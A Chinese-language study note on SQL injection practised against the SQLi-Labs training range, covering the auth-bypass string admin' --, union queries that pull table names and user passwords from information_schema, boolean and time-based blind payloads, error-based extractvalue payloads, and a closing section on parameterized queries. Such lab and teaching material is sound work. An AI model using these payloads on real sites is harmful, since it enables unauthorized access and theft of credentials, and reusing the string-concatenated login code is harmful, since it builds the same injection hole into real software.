学 SQL 注入之前我先把 SQL 基本功补了一遍:MySQL 库表操作、联合查询、注释符和闭合方式,配着 SQLi-Labs 靶场一行一行手测,这篇就是当时攒下的笔记。
核心知识点
1. 数据库与 SQL 基础
- 数据库:极度严谨、庞大的数字档案柜。基本结构:表(Table)→ 列/字段(Column)→ 行/记录(Row)。
- SQL(结构化查询语言):与数据库沟通的唯一语言,四大操作 CRUD:
- 查:
SELECT 密码 FROM 用户表 WHERE 用户名='张三'; - 增:
INSERT INTO 用户表 (用户名,密码) VALUES ('王五','888888'); - 改:
UPDATE 用户表 SET 密码='999999' WHERE 用户名='张三'; - 删:
DELETE FROM 用户表 WHERE 用户名='李四';
- 查:
2. SQL 原理
- 比喻:银行取款单上印着”我要取款 [填空] “。正常填
100;攻击填100 ,顺便把金库门打开,无判断力的机器人(后端)真去执行了。 - 本质:用户未经过滤直接拼接到 SQL 查询语句中,导致”数据”被当成”指令”执行。
- 漏洞代码(登录功能字符串拼接):
$username = $_POST['username'];
$password = $_POST['password'];
$sql_query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql_query);
- 身份绕过 Payload:用户名
admin' --,拼接结果变成:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...';
-- 之后被当作注释忽略,攻击无需知道密码即可登录 admin。
3. 类型判断(破坏三步法第一步)
| 类型 | 判断方法 |
|---|---|
| 数字型 | 直接拼接,无需闭合引号 |
| 字符型 | 需寻找闭合符(单引号/双引号/括号组合) |
- 判断技巧:
and 1=1正常返回、and 1=2无返回 → 数字型;若and 1=2后仍正常或报错 → 可能为字符型,继续测试闭合符。 - 字符型闭合:在参数后加单引号使语法报错,说明有引号;再用注释符切掉多余部分。
- 闭合符组合:单引号、双引号、小括号+引号
')、双引号+小括号")等,需通过猜测或观察报错信息确认。 - 注释符:
--(双减号加空格)、--+(URL 中加号编码为空格)、#(URL 中写%23)。
4. Union 联合(破坏三步法)
前置三步:
- 判断类型与闭合符(同上)
- 探测列数:
ORDER BY N依次递增,直到报错,即可确定查询列数 - 定位回显位:
UNION SELECT 1,2,3,...用数字占位符探测前端回显的列位置
核心语法:
ORDER BY N:按第 N 列排序,列数限时报错,用于探测列数GROUP_CONCAT():将多行结果合并为一行显示,解决返回行数限制LIMIT offset, count:限制返回的起始位置和数量CONCAT():字符串拼接;GROUP_CONCAT():多行合并(可加分隔符)UNION SELECT:前后查询列数一致,否则报错
union 完整语句:
-- 确定列数为 3,回显位在 2 和 3
UNION SELECT 1,2,3
-- 查数据库名
UNION SELECT 1,database(),3
-- 查版本
UNION SELECT 1,version(),3
-- 查表名(跨库查询 information_schema)
UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security'
-- 查列名
UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'
-- 查数据
UNION SELECT 1,GROUP_CONCAT(username,0x7e,password),3 FROM security.users
information_schema 系统库:
SELECT table_name FROM information_schema.tables WHERE table_schema='security';
SELECT column_name FROM information_schema.columns WHERE table_name='users';
5. 布尔盲注
- 适用场景:页面无直接回显(只有正常/异常两种状态),通过判断页面真假来”猜”数据。
- 核心函数:
length()、ascii()、substr()。 - 常用语句:
and length(database())=8 -- 判断数据库名长度为 8
and ascii(substr(database(),1,1)) > 100 -- 判断第一个字符 ASCII 码
and ascii(substr(database(),1,1)) = 115 -- 二分逼近,115 对应字符 's'
- 二分查找法:用
>和<不断缩小字符范围,把猜字符变成做数学题,提高效率。可用 Python 脚本自动化(判断页面是否特征字符串)。 - 判假技巧:
and 1=2无结果即证明闭合符正确(“无结果即成功”的反直觉逻辑)。
6. 时间盲注
- 适用场景:页面无任何回显差异,只能通过响应延迟判断条件真假。
- 核心语句:
IF(condition, sleep(5), 1)
and if(length(database())>5, sleep(3), 1) -- 延迟说明长度大于5
and if(length(database())=8, sleep(3), 1) -- 确定长度为8
and if(ascii(substr(database(),1,1))=115, sleep(3), 1)
- IF 函数:
IF(条件, 成立时返回值, 不成立时返回值),类似运算符,参数顺序别搞反。 - 优点:适用场景更广;缺点:每次判断都要等延迟,效率低。
7. 报错
- 原理:利用 MySQL 中容易报错的函数(
extractvalue()、updatexml()),构造非法的 XPath 路径(如不以斜杠开头),触发数据库报错,把查询结果携带在错误信息中返回。 - 示例:
and extractvalue(1, concat(0x7e, (select database())))
- 机制:XPath 路径斜杠
/开头,否则报错;报错信息中携带我们想要的数据。0x7e是波浪线~的进制。 - 注意:
&在 URL 中会被解析为参数分隔符,报错中推荐用~(波浪线)连接而不用and。
8. SQL 常用函数汇总
| 函数 | 作用 | 使用场景 |
|---|---|---|
database() | 返回当前数据库名 | 信息收集 |
version() | 返回数据库版本 | 版本探测 |
length() | 返回字符串长度 | 盲注猜长度 |
ascii() | 返回字符 ASCII 码 | 将字符转为数字判断 |
substr(str,pos,len) / substring | 截取字符串 | 逐字符提取 |
concat() / group_concat() | 拼接 / 多行合并 | 合并显示 |
sleep(N) | 延迟 N 秒 | 时间盲注 |
if(cond,v1,v2) | 条件判断 | 盲注条件构造 |
extractvalue(xml,xpath) / updatexml | XML 解析(报错) | 报错 |
9. 防御:参数化查询
- 错误做法:字符串拼接用户。
- 正确做法:参数化查询(Prepared Statements)。发送带占位符
?的模板,再把用户数据当作纯参数传递,数据与指令严格隔离:
query_template = "SELECT * FROM users WHERE username = ? AND password = ?"
execute(query_template, ("admin' --", "随便填的密码"))
即使 admin' --,数据库也只会寻找名字叫 admin' -- 的用户,不会当作注释执行。
实操步骤(SQLi-Labs 靶场流程)
第一:判断类型(字符型,单引号闭合)→ ORDER BY 探测列数 → UNION 定位回显位 → 拖库
第二:数字型,直接拼接
第三~四:字符型,闭合符分别为 ' 和 ')/")
第五:布尔盲注(length + ascii + 二分法)
第九:时间盲注(IF + sleep)
报错:extractvalue / updatexml
# URL 编码细节
空格用 + 或 %20
注释用 --+(加号经 URL 解码后变空格,而 -- 后面的空格会被吃掉)
& 会被解析为参数分隔符,用 %26 编码或用 ~ 替代
# 构造请求
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
:Burp Suite 抓改,或火狐 HackBar 插件(需;也可用 Burp 代替)。
常见错误与排查
- 拼写错误:
form写成from;less大小写敏感。 - Union 前后列数不一致导致失败。
- 闭合方式不对 → 观察报错信息调整。
- URL 中
&被解析为参数分隔符 → 用%26或~。 --注释在 URL 中失效 → 用--+或%23(#)。- 布尔盲注判断时括号写错导致结果异常 → 确认语法括号对齐。
- 语句未生效时
and 1=1/and 1=2确认类型,不要盲目堆 Payload。